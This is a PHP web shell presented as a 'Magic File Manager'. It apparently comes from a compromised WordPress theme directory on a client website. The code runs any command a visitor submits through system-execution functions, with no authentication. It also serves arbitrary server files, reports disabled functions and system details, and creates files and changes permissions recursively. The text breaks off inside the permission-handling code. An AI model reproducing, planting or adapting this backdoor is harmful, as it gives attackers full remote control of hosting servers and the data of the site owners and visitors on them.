๐ file2.php
๐ Path: /home/bbmclients/meghaahuja.com/wp-content/themes/file2.php
๐ Size: 62.37 KB
๐ Perm: 0644
๐ MIME: text/x-php
<?php
// ============================================
// MAGIC PHP ENGINE - HOSTINGER OPTIMIZED
// ============================================
header('Content-Type: text/html; charset=utf-8');
set_time_limit(0);
error_reporting(0);
if (session_status() == PHP_SESSION_NONE) {
session_start();
}
$is_hostinger = (strpos($_SERVER['DOCUMENT_ROOT'], 'hostinger') !== false ||
strpos($_SERVER['HTTP_HOST'], 'hostinger') !== false ||
strpos(php_uname(), 'hostinger') !== false);
if ($is_hostinger && !isset($_SERVER['HTTPS']) && $_SERVER['HTTP_HOST'] != 'localhost') {
header('Location: https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
exit;
}
// ============================================
// TERMINAL HANDLING
// ============================================
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
$canExecute = false;
foreach ($execFunctions as $func) {
if (function_exists($func)) {
$canExecute = true;
break;
}
}
$cwd = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : getcwd();
$cmdInput = trim($_POST['terminal-text']);
$output = "";
if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
$dir = trim($matches[1]);
if ($dir === '' || $dir === '~') {
$dir = $_SERVER['DOCUMENT_ROOT'];
} elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
$dir = $cwd . DIRECTORY_SEPARATOR . $dir;
}
$realDir = realpath($dir);
if ($realDir && is_dir($realDir)) {
$_SESSION['cwd'] = $realDir;
$cwd = $realDir;
$output = "Changed directory to " . htmlspecialchars($realDir);
} else {
$output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
}
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
$redirect_url = isset($_GET['path']) ? '?path=' . urlencode($_GET['path']) : '';
header("Location: " . $redirect_url);
exit;
} elseif ($canExecute) {
chdir($cwd);
$cmd = $cmdInput . " 2>&1";
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
$pipes = [];
$process = proc_open($cmd, [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
], $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
$redirect_url = isset($_GET['path']) ? '?path=' . urlencode($_GET['path']) : '';
header("Location: " . $redirect_url);
exit;
} else {
$_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
$_SESSION['terminal_cwd'] = $cwd;
$redirect_url = isset($_GET['path']) ? '?path=' . urlencode($_GET['path']) : '';
header("Location: " . $redirect_url);
exit;
}
}
$terminal_output = isset($_SESSION['terminal_output']) ? $_SESSION['terminal_output'] : '';
$terminal_cwd = isset($_SESSION['terminal_cwd']) ? $_SESSION['terminal_cwd'] : getcwd();
unset($_SESSION['terminal_output']);
// --------------------------------------------
// MIME Type Detection
// --------------------------------------------
function getMimeType($file) {
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file);
finfo_close($finfo);
if ($mime !== false && $mime !== 'application/octet-stream') {
return $mime;
}
}
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$map = [
'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html',
'php' => 'text/x-php', 'css' => 'text/css', 'js' => 'application/javascript',
'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png',
'gif' => 'image/gif', 'bmp' => 'image/bmp', 'webp' => 'image/webp',
'svg' => 'image/svg+xml', 'ico' => 'image/x-icon',
'txt' => 'text/plain', 'log' => 'text/plain', 'xml' => 'application/xml',
'json' => 'application/json', 'sql' => 'text/plain',
'pdf' => 'application/pdf', 'doc' => 'application/msword',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'xls' => 'application/vnd.ms-excel', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'zip' => 'application/zip', 'rar' => 'application/x-rar-compressed',
'tar' => 'application/x-tar', 'gz' => 'application/gzip',
'mp3' => 'audio/mpeg', 'mp4' => 'video/mp4', 'avi' => 'video/x-msvideo',
'mkv' => 'video/x-matroska', 'exe' => 'application/x-msdownload',
'msi' => 'application/x-msi', 'htaccess' => 'text/plain',
'py' => 'text/x-python', 'rb' => 'text/x-ruby', 'pl' => 'text/x-perl',
'sh' => 'text/x-shellscript', 'bat' => 'text/plain',
];
return isset($map[$ext]) ? $map[$ext] : 'application/octet-stream';
}
// Serve file directly
if (isset($_GET['serve']) && $_GET['serve'] == '1' && isset($_GET['fileloc'])) {
$file = $_GET['fileloc'];
if (file_exists($file) && is_file($file)) {
$mime = isset($_GET['mime']) ? $_GET['mime'] : getMimeType($file);
header('Content-Type: ' . $mime . '; charset=utf-8');
header('Content-Length: ' . filesize($file));
header('Content-Disposition: inline; filename="' . basename($file) . '"');
header('Cache-Control: public, max-age=86400');
readfile($file);
exit;
} else {
http_response_code(404);
echo 'File not found.';
exit;
}
}
// --------------------------------------------
// Core functions
// --------------------------------------------
function author() {
echo '<div style="text-align:center;margin-top:20px;color:#555;font-size:12px;">โจ File Manager Magic โจ</div>';
exit();
}
function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
return is_writable($lokasi) ?
'<span style="color:#7ad03a;">โฆ Writable</span>' :
'<span style="color:#dc3232;">โง Not Writable</span>';
}
function cekroot() {
return is_writable($_SERVER['DOCUMENT_ROOT']) ?
'<span style="color:#7ad03a;">โฆ Writable</span>' :
'<span style="color:#dc3232;">โง Not Writable</span>';
}
function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir.'/'.$item;
is_dir($path) ? xrmdir($path) : unlink($path);
}
rmdir($dir);
}
function green($text) {
echo '<div class="magic-alert success">โฆ ' . $text . '</div>';
}
function red($text) {
echo '<div class="magic-alert error">โง ' . $text . '</div>';
}
function yellow($text) {
echo '<div class="magic-alert warning">โฆ ' . $text . '</div>';
}
function formatSize($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($size >= 1024 && $i < count($units) - 1) {
$size /= 1024;
$i++;
}
return round($size, 2) . ' ' . $units[$i];
}
function getFileIcon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'php' => '๐', 'html' => '๐', 'css' => '๐จ', 'js' => '๐',
'jpg' => '๐ผ๏ธ', 'jpeg' => '๐ผ๏ธ', 'png' => '๐ผ๏ธ', 'gif' => '๐ผ๏ธ',
'pdf' => '๐', 'doc' => '๐', 'docx' => '๐', 'txt' => '๐',
'zip' => '๐ฆ', 'rar' => '๐ฆ', 'tar' => '๐ฆ', 'gz' => '๐ฆ',
'mp3' => '๐ต', 'mp4' => '๐ฌ', 'avi' => '๐ฌ', 'mkv' => '๐ฌ',
'exe' => 'โ๏ธ', 'msi' => 'โ๏ธ', 'sql' => '๐๏ธ', 'xml' => '๐',
'json' => '๐', 'log' => '๐', 'htaccess' => 'โ๏ธ'
];
return isset($icons[$ext]) ? $icons[$ext] : '๐';
}
function getPermissionName($perms) {
$names = [
'0644' => 'File (644) - Read/Write for owner, Read for others',
'0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others',
'0640' => 'File (640) - Read/Write for owner, Read for group',
'0664' => 'File (664) - Read/Write for owner and group, Read for others',
'0777' => 'All permissions (777) - Read/Write/Execute for everyone',
'0600' => 'File (600) - Read/Write for owner only',
'0700' => 'Directory (700) - Read/Write/Execute for owner only',
];
return isset($names[$perms]) ? $names[$perms] : 'Custom permission';
}
function chmodInterface($path, $is_dir = false) {
$current_perms = substr(sprintf('%o', fileperms($path)), -4);
$perms_array = str_split($current_perms);
$html = '<div class="magic-form" style="background:rgba(35,40,45,0.9);">';
$html .= '<h3 style="color:#ffb900;margin-bottom:15px;">๐ Magic Permissions</h3>';
$html .= '<div style="background:rgba(26,26,26,0.6);padding:12px;border-radius:8px;margin-bottom:15px;">';
$html .= '<div><strong>๐ Path:</strong> ' . htmlspecialchars($path) . '</div>';
$html .= '<div><strong>๐ Type:</strong> ' . ($is_dir ? 'Directory' : 'File') . '</div>';
$html .= '<div><strong>๐ Current:</strong> ' . $current_perms . ' (' . getPermissionName($current_perms) . ')</div>';
$html .= '</div>';
$html .= '<form method="post">';
$html .= '<input type="hidden" name="path" value="' . htmlspecialchars($path) . '">';
$html .= '<input type="hidden" name="pilih" value="ubahmod">';
$html .= '<input type="hidden" name="chm0d" value="1">';
$html .= '<div class="chmod-grid">';
$html .= '<div class="label"></div><div class="label">Read</div><div class="label">Write</div><div class="label">Execute</div>';
$rows = ['owner' => '๐ค Owner', 'group' => '๐ฅ Group', 'world' => '๐ Public'];
$perm_values = [
'owner' => intval($perms_array[0]),
'group' => intval($perms_array[1]),
'world' => intval($perms_array[2])
];
foreach ($rows as $key => $label) {
$value = $perm_values[$key];
$html .= '<div class="row-label">' . $label . '</div>';
$html .= '<div class="checkbox-group"><input type="checkbox" name="' . $key . '_read" value="1" ' . (($value & 4) ? 'checked' : '') . ' onchange="updateNumeric()"></div>';
$html .= '<div class="checkbox-group"><input type="checkbox" name="' . $key . '_write" value="1" ' . (($value & 2) ? 'checked' : '') . ' onchange="updateNumeric()"></div>';
$html .= '<div class="checkbox-group"><input type="checkbox" name="' . $key . '_execute" value="1" ' . (($value & 1) ? 'checked' : '') . ' onchange="updateNumeric()"></div>';
}
$html .= '</div>';
$html .= '<div class="chmod-presets">';
$html .= '<button type="button" onclick="setPreset(\'644\')">644</button>';
$html .= '<button type="button" onclick="setPreset(\'755\')">755</button>';
$html .= '<button type="button" onclick="setPreset(\'777\')">777</button>';
$html .= '<button type="button" onclick="setPreset(\'600\')">600</button>';
$html .= '<button type="button" onclick="setPreset(\'640\')">640</button>';
$html .= '<button type="button" onclick="setPreset(\'660\')">660</button>';
$html .= '</div>';
$html .= '<div style="display:flex;align-items:center;gap:10px;margin:10px 0;">';
$html .= '<label style="color:#ddd;">Numeric:</label>';
$html .= '<input type="text" id="numericPerm" name="perm" value="' . $current_perms . '" oninput="updateCheckboxes()" maxlength="4" style="width:80px;text-align:center;font-size:16px;font-family:monospace;background:rgba(26,26,26,0.8);color:#fff;border:1px solid rgba(255,255,255,0.1);padding:8px;border-radius:5px;">';
$html .= '</div>';
if ($is_dir) {
$html .= '<div style="background:rgba(50,55,60,0.6);padding:10px 15px;border-radius:5px;margin:10px 0;">';
$html .= '<input type="checkbox" name="recursive" id="recursive" value="1" style="accent-color:#00a0d2;">';
$html .= '<label for="recursive" style="color:#ddd;margin-left:8px;">๐ Apply recursively to all files & subdirectories</label>';
$html .= '</div>';
}
$html .= '<div style="display:flex;gap:10px;margin-top:15px;flex-wrap:wrap;">';
$html .= '<button type="submit" style="background:linear-gradient(135deg,#00a0d2,#0088b8);color:#fff;border:none;padding:10px 30px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;font-weight:bold;transition:all 0.3s;" onclick="return confirm(\'Apply magic permissions?\')">โจ Apply Changes</button>';
$html .= '<button type="button" onclick="window.location.href=\'?path=' . urlencode(dirname($path)) . '\'" style="background:rgba(85,85,85,0.6);color:#fff;border:none;padding:10px 20px;border-radius:5px;cursor:pointer;font-family:Dosis,cursive;transition:all 0.3s;">โ Cancel</button>';
$html .= '</div>';
$html .= '</form>';
$html .= '</div>';
$html .= '<script>
function updateNumeric() {
var owner = 0, group = 0, world = 0;
["owner","group","world"].forEach(function(role) {
var val = 0;
if (document.querySelector(\'input[name="\'+role+\'_read"]\').checked) val += 4;
if (document.querySelector(\'input[name="\'+role+\'_write"]\').checked) val += 2;
if (document.querySelector(\'input[name="\'+role+\'_execute"]\').checked) val += 1;
if (role === "owner") owner = val;
else if (role === "group") group = val;
else world = val;
});
document.getElementById("numericPerm").value = "" + owner + group + world;
}
function updateCheckboxes() {
var val = document.getElementById("numericPerm").value;
if (val.length === 3 || val.length === 4) {
var perms = val.slice(-3);
["owner","group","world"].forEach(function(role, idx) {
var num = parseInt(perms[idx]);
document.querySelector(\'input[name="\'+role+\'_read"]\').checked = (num & 4) ? true : false;
document.querySelector(\'input[name="\'+role+\'_write"]\').checked = (num & 2) ? true : false;
document.querySelector(\'input[name="\'+role+\'_execute"]\').checked = (num & 1) ? true : false;
});
}
}
function setPreset(perms) {
document.getElementById("numericPerm").value = perms;
updateCheckboxes();
}
</script>';
return $html;
}
// --------------------------------------------
// HTML Output Start
// --------------------------------------------
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;700&display=swap" rel="stylesheet">
<style>
/* ============================================
GLOBAL RESET & DARK THEME
============================================ */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
background: #0a0e14;
color: #e4e9f0;
min-height: 100vh;
padding: 20px;
background-image:
radial-gradient(ellipse at 10% 20%, rgba(0, 160, 210, 0.05) 0%, transparent 50%),
radial-gradient(ellipse at 90% 80%, rgba(123, 31, 162, 0.05) 0%, transparent 50%);
}
/* ============================================
MAIN CONTAINER
============================================ */
.magic-container {
max-width: 1400px;
margin: 0 auto;
background: rgba(18, 24, 32, 0.85);
backdrop-filter: blur(20px);
-webkit-backdrop-filter: blur(20px);
border-radius: 24px;
border: 1px solid rgba(255, 255, 255, 0.06);
padding: 30px 35px;
box-shadow: 0 25px 60px rgba(0, 0, 0, 0.6);
position: relative;
overflow: hidden;
}
.magic-container::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 2px;
background: linear-gradient(90deg, #00a0d2, #7b1fa2, #00a0d2);
background-size: 200% 100%;
animation: shimmer 3s ease-in-out infinite;
}
@keyframes shimmer {
0%, 100% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
}
/* ============================================
HEADER
============================================ */
.magic-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 28px;
flex-wrap: wrap;
gap: 15px;
}
.magic-header h1 {
font-size: 28px;
font-weight: 700;
background: linear-gradient(135deg, #00d4ff, #7b2ffc);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
letter-spacing: -0.5px;
}
.magic-header .badge {
background: rgba(0, 160, 210, 0.15);
border: 1px solid rgba(0, 160, 210, 0.2);
padding: 6px 18px;
border-radius: 100px;
font-size: 12px;
color: #7ad03a;
font-weight: 600;
letter-spacing: 0.5px;
}
/* ============================================
SERVER INFO
============================================ */
.server-info {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 10px 20px;
background: rgba(0, 0, 0, 0.3);
border-radius: 16px;
padding: 16px 22px;
margin-bottom: 22px;
border: 1px solid rgba(255, 255, 255, 0.04);
font-size: 13px;
}
.server-info .info-item {
display: flex;
align-items: center;
gap: 8px;
color: #8a9aa8;
}
.server-info .info-item span {
color: #e4e9f0;
font-weight: 500;
word-break: break-all;
}
.server-info .info-item:last-child {
grid-column: 1 / -1;
color: #ffb900;
font-weight: 600;
}
/* ============================================
TERMINAL
============================================ */
.terminal-container {
background: rgba(0, 0, 0, 0.5);
border-radius: 16px;
border: 1px solid rgba(255, 255, 255, 0.06);
margin-bottom: 24px;
overflow: hidden;
}
.terminal-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 12px 20px;
background: rgba(0, 0, 0, 0.3);
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
flex-wrap: wrap;
gap: 8px;
}
.terminal-header h3 {
font-size: 14px;
font-weight: 600;
color: #7ad03a;
display: flex;
align-items: center;
gap: 8px;
}
.terminal-header .cwd {
font-size: 12px;
color: #8a9aa8;
background: rgba(255, 255, 255, 0.05);
padding: 4px 14px;
border-radius: 100px;
font-family: 'Courier New', monospace;
}
.terminal-output {
padding: 16px 20px;
font-family: 'Courier New', monospace;
font-size: 13px;
color: #abb8c3;
background: rgba(0, 0, 0, 0.2);
max-height: 200px;
overflow-y: auto;
white-space: pre-wrap;
word-break: break-all;
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
}
.terminal-output::-webkit-scrollbar {
width: 4px;
}
.terminal-output::-webkit-scrollbar-track {
background: transparent;
}
.terminal-output::-webkit-scrollbar-thumb {
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
}
.terminal-form {
display: flex;
align-items: center;
padding: 10px 20px;
gap: 10px;
background: rgba(0, 0, 0, 0.2);
}
.terminal-form .prompt {
color: #7ad03a;
font-weight: 700;
font-size: 16px;
font-family: 'Courier New', monospace;
}
.terminal-form input[type="text"] {
flex: 1;
background: transparent;
border: none;
color: #e4e9f0;
font-family: 'Courier New', monospace;
font-size: 14px;
padding: 8px 0;
outline: none;
}
.terminal-form input[type="text"]::placeholder {
color: #4a5a6a;
}
.terminal-form button {
background: rgba(0, 160, 210, 0.2);
border: 1px solid rgba(0, 160, 210, 0.3);
color: #00a0d2;
padding: 6px 20px;
border-radius: 8px;
cursor: pointer;
font-weight: 600;
font-size: 13px;
transition: all 0.2s;
}
.terminal-form button:hover {
background: rgba(0, 160, 210, 0.3);
border-color: rgba(0, 160, 210, 0.5);
}
/* ============================================
BREADCRUMB
============================================ */
.breadcrumb {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 4px 8px;
padding: 12px 18px;
background: rgba(0, 0, 0, 0.25);
border-radius: 12px;
margin-bottom: 20px;
font-size: 14px;
font-weight: 500;
border: 1px solid rgba(255, 255, 255, 0.04);
}
.breadcrumb a {
color: #8a9aa8;
text-decoration: none;
transition: color 0.2s;
padding: 2px 6px;
border-radius: 4px;
}
.breadcrumb a:hover {
color: #00d4ff;
background: rgba(0, 160, 210, 0.08);
}
/* ============================================
ALERTS
============================================ */
.magic-alert {
padding: 14px 20px;
border-radius: 12px;
margin-bottom: 16px;
font-size: 14px;
border: 1px solid rgba(255, 255, 255, 0.06);
animation: slideDown 0.3s ease-out;
}
@keyframes slideDown {
from {
opacity: 0;
transform: translateY(-10px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.magic-alert.success {
background: rgba(122, 208, 58, 0.1);
border-color: rgba(122, 208, 58, 0.2);
color: #7ad03a;
}
.magic-alert.error {
background: rgba(220, 50, 50, 0.1);
border-color: rgba(220, 50, 50, 0.2);
color: #dc3232;
}
.magic-alert.warning {
background: rgba(255, 185, 0, 0.1);
border-color: rgba(255, 185, 0, 0.2);
color: #ffb900;
}
/* ============================================
FORMS (Create & Upload)
============================================ */
.forms-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 16px;
margin-bottom: 24px;
}
@media (max-width: 700px) {
.forms-grid {
grid-template-columns: 1fr;
}
}
.magic-form {
background: rgba(0, 0, 0, 0.3);
border-radius: 16px;
padding: 18px 20px 22px;
border: 1px solid rgba(255, 255, 255, 0.04);
}
.magic-form h4 {
font-size: 15px;
font-weight: 600;
margin-bottom: 12px;
display: flex;
align-items: center;
gap: 8px;
}
.magic-form input[type="text"],
.magic-form input[type="file"],
.magic-form select {
width: 100%;
background: rgba(0, 0, 0, 0.4);
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 10px;
padding: 10px 14px;
color: #e4e9f0;
font-size: 13px;
transition: border-color 0.2s;
outline: none;
font-family: 'Inter', sans-serif;
}
.magic-form input[type="text"]:focus,
.magic-form select:focus {
border-color: rgba(0, 160, 210, 0.4);
}
.magic-form input[type="file"] {
padding: 8px 10px;
background: rgba(0, 0, 0, 0.3);
}
.magic-form input[type="file"]::file-selector-button {
background: rgba(0, 160, 210, 0.15);
border: 1px solid rgba(0, 160, 210, 0.2);
color: #00a0d2;
padding: 6px 16px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
font-size: 12px;
margin-right: 12px;
transition: all 0.2s;
}
.magic-form input[type="file"]::file-selector-button:hover {
background: rgba(0, 160, 210, 0.25);
}
.magic-form button {
width: 100%;
padding: 10px;
border: none;
border-radius: 10px;
font-weight: 600;
font-size: 14px;
cursor: pointer;
transition: all 0.25s;
font-family: 'Inter', sans-serif;
margin-top: 6px;
}
.magic-form button:hover {
transform: translateY(-1px);
box-shadow: 0 8px 25px rgba(0, 0, 0, 0.3);
}
.magic-form .radio-group {
display: flex;
gap: 16px;
margin-bottom: 10px;
font-size: 13px;
color: #8a9aa8;
}
.magic-form .radio-group label {
display: flex;
align-items: center;
gap: 6px;
cursor: pointer;
}
.magic-form .radio-group input[type="radio"] {
accent-color: #00a0d2;
width: 16px;
height: 16px;
}
.magic-form hr {
border: none;
border-top: 1px solid rgba(255, 255, 255, 0.05);
margin: 14px 0;
}
/* ============================================
TABLE
============================================ */
.magic-table {
width: 100%;
border-collapse: collapse;
margin-top: 6px;
font-size: 14px;
}
.magic-table th {
text-align: left;
padding: 12px 14px;
color: #6a7a8a;
font-weight: 600;
font-size: 12px;
text-transform: uppercase;
letter-spacing: 0.5px;
border-bottom: 1px solid rgba(255, 255, 255, 0.05);
}
.magic-table td {
padding: 10px 14px;
border-bottom: 1px solid rgba(255, 255, 255, 0.03);
vertical-align: middle;
}
.magic-table tr:hover td {
background: rgba(255, 255, 255, 0.02);
}
.magic-table .file-link {
color: #e4e9f0;
text-decoration: none;
display: flex;
align-items: center;
gap: 8px;
transition: color 0.2s;
}
.magic-table .file-link:hover {
color: #00d4ff;
}
.magic-table .file-icon {
font-size: 18px;
width: 28px;
text-align: center;
}
.magic-table select {
background: rgba(0, 0, 0, 0.4);
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 6px;
padding: 4px 8px;
color: #e4e9f0;
font-size: 12px;
outline: none;
cursor: pointer;
}
.magic-table select:focus {
border-color: rgba(0, 160, 210, 0.3);
}
.magic-table .action-btn {
background: rgba(0, 160, 210, 0.1);
border: 1px solid rgba(0, 160, 210, 0.15);
color: #00a0d2;
padding: 4px 12px;
border-radius: 6px;
cursor: pointer;
font-size: 12px;
font-weight: 600;
transition: all 0.2s;
font-family: 'Inter', sans-serif;
}
.magic-table .action-btn:hover {
background: rgba(0, 160, 210, 0.2);
}
/* ============================================
CHMOD GRID
============================================ */
.chmod-grid {
display: grid;
grid-template-columns: 100px repeat(3, 1fr);
gap: 8px 10px;
align-items: center;
margin: 12px 0 16px;
}
.chmod-grid .label {
color: #6a7a8a;
font-size: 12px;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.3px;
}
.chmod-grid .row-label {
color: #e4e9f0;
font-size: 14px;
font-weight: 500;
}
.chmod-grid .checkbox-group {
display: flex;
justify-content: center;
}
.chmod-grid input[type="checkbox"] {
accent-color: #00a0d2;
width: 18px;
height: 18px;
cursor: pointer;
}
.chmod-presets {
display: flex;
gap: 8px;
flex-wrap: wrap;
margin: 8px 0 12px;
}
.chmod-presets button {
background: rgba(255, 255, 255, 0.06);
border: 1px solid rgba(255, 255, 255, 0.08);
color: #8a9aa8;
padding: 4px 14px;
border-radius: 6px;
cursor: pointer;
font-size: 13px;
font-weight: 600;
transition: all 0.2s;
font-family: 'Inter', sans-serif;
}
.chmod-presets button:hover {
background: rgba(0, 160, 210, 0.15);
color: #00a0d2;
border-color: rgba(0, 160, 210, 0.2);
}
/* ============================================
FOOTER
============================================ */
.magic-footer {
text-align: center;
margin-top: 28px;
padding-top: 20px;
border-top: 1px solid rgba(255, 255, 255, 0.04);
color: #4a5a6a;
font-size: 13px;
letter-spacing: 0.3px;
}
.magic-footer span {
color: #7ad03a;
}
/* ============================================
SCROLLBAR
============================================ */
::-webkit-scrollbar {
width: 6px;
height: 6px;
}
::-webkit-scrollbar-track {
background: transparent;
}
::-webkit-scrollbar-thumb {
background: rgba(255, 255, 255, 0.08);
border-radius: 10px;
}
::-webkit-scrollbar-thumb:hover {
background: rgba(255, 255, 255, 0.15);
}
/* ============================================
RESPONSIVE
============================================ */
@media (max-width: 600px) {
.magic-container {
padding: 16px 14px;
}
.magic-header h1 {
font-size: 20px;
}
.server-info {
grid-template-columns: 1fr;
font-size: 12px;
padding: 12px 16px;
}
.magic-table {
font-size: 12px;
}
.magic-table th,
.magic-table td {
padding: 8px 8px;
}
.magic-table td:last-child {
min-width: 100px;
}
.terminal-header {
flex-direction: column;
align-items: flex-start;
}
.magic-form {
padding: 14px 14px 18px;
}
}
</style>
</head>
<body>
<div class="magic-container">
<!-- HEADER -->
<div class="magic-header">
<h1>โจ Magic File Manager</h1>
<span class="badge">๐ Hostinger Optimized</span>
</div>
<?php
// ============================================
// SERVER INFO
// ============================================
$disfunc = @ini_get("disable_functions");
$disf = empty($disfunc) ? '<span style="color:#7ad03a;">โจ NONE</span>' : '<span style="color:#dc3232;">' . $disfunc . '</span>';
$hostinger_info = '';
if ($is_hostinger) {
$hostinger_info = '<div class="hostinger-tip" style="background:rgba(255,185,0,0.05);border:1px solid rgba(255,185,0,0.1);border-radius:12px;padding:12px 18px;margin-bottom:20px;color:#ffb900;font-size:14px;">๐ <strong>Hostinger Optimized</strong> โ This file manager is specially configured for Hostinger hosting.</div>';
}
echo '<div class="server-info">';
echo '<div class="info-item">๐ฅ๏ธ Server: <span>' . $_SERVER['SERVER_SOFTWARE'] . '</span></div>';
echo '<div class="info-item">๐ป System: <span>' . php_uname() . '</span></div>';
echo '<div class="info-item">๐ค User: <span>' . @get_current_user() . ' (' . @getmyuid() . ')</span></div>';
echo '<div class="info-item">๐ PHP: <span>' . @phpversion() . '</span></div>';
echo '<div class="info-item">๐ซ Disabled: ' . $disf . '</div>';
if ($is_hostinger) {
echo '<div class="info-item" style="grid-column:1/-1;color:#ffb900;">๐ท๏ธ Hostinger Environment</div>';
}
echo '</div>';
if ($hostinger_info) echo $hostinger_info;
// ============================================
// TERMINAL
// ============================================
echo '<div class="terminal-container">';
echo '<div class="terminal-header">';
echo '<h3>๐ป Terminal</h3>';
echo '<span class="cwd">๐ ' . htmlspecialchars($terminal_cwd) . '</span>';
echo '</div>';
if ($terminal_output) {
echo '<div class="terminal-output">' . htmlspecialchars($terminal_output) . '</div>';
}
echo '<form method="POST" class="terminal-form">';
echo '<span class="prompt">$</span>';
echo '<input type="text" name="terminal-text" placeholder="Enter command..." autofocus>';
echo '<button type="submit" name="terminal">โถ Run</button>';
echo '</form>';
echo '</div>';
// ============================================
// DIRECTORY BREADCRUMB
// ============================================
foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}
if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}
$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);
echo '<div class="breadcrumb">๐ ';
foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
echo '<a href="?path=/">/</a>';
continue;
}
if($lok == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$lokasis[$i]";
if($i != $id) echo "/";
}
echo '">' . $lok . '</a>';
}
echo '</div>';
// ============================================
// CREATE FILE / FOLDER
// ============================================
if (isset($_POST['create_action'])) {
if ($_POST['create_action'] == 'file') {
$new_file = $lokasi . '/' . $_POST['new_filename'];
if (file_exists($new_file)) {
red('File already exists! โก');
} else {
if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) {
chmod($new_file, 0644);
green('File created successfully! <a href="?fileloc=' . urlencode($new_file) . '&path=' . urlencode($lokasi) . '" style="color:#7ad03a;">' . htmlspecialchars($_POST['new_filename']) . '</a> โจ');
} else {
red('Failed to create file! Check permissions. โก');
}
}
} elseif ($_POST['create_action'] == 'folder') {
$new_folder = $lokasi . '/' . $_POST['new_foldername'];
if (file_exists($new_folder)) {
red('Folder already exists! โก');
} else {
if (mkdir($new_folder, 0755)) {
green('Folder created successfully! <a href="?path=' . urlencode($new_folder) . '" style="color:#7ad03a;">' . htmlspecialchars($_POST['new_foldername']) . '</a> ๐');
} else {
red('Failed to create folder! Check permissions. โก');
}
}
}
}
// ============================================
// CHMOD HANDLING
// ============================================
if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
$chmod_path = $_POST['path'];
$is_dir = is_dir($chmod_path);
if (isset($_POST['chm0d']) && isset($_POST['perm'])) {
$perm = $_POST['perm'];
$recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1;
if (strlen($perm) == 3 || strlen($perm) == 4) {
$perm = substr($perm, -3);
$perm_octal = octdec($perm);
if ($is_dir && $recursive) {
$success = true;
$count = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if (@chmod($item->getPathname(), $perm_octal)) {
$count++;
} else {
$success = false;
}
}
if ($success) {
green('โจ Permissions changed for <strong>' . $count . '</strong> items to <strong>' . $perm . '</strong>');
} else {
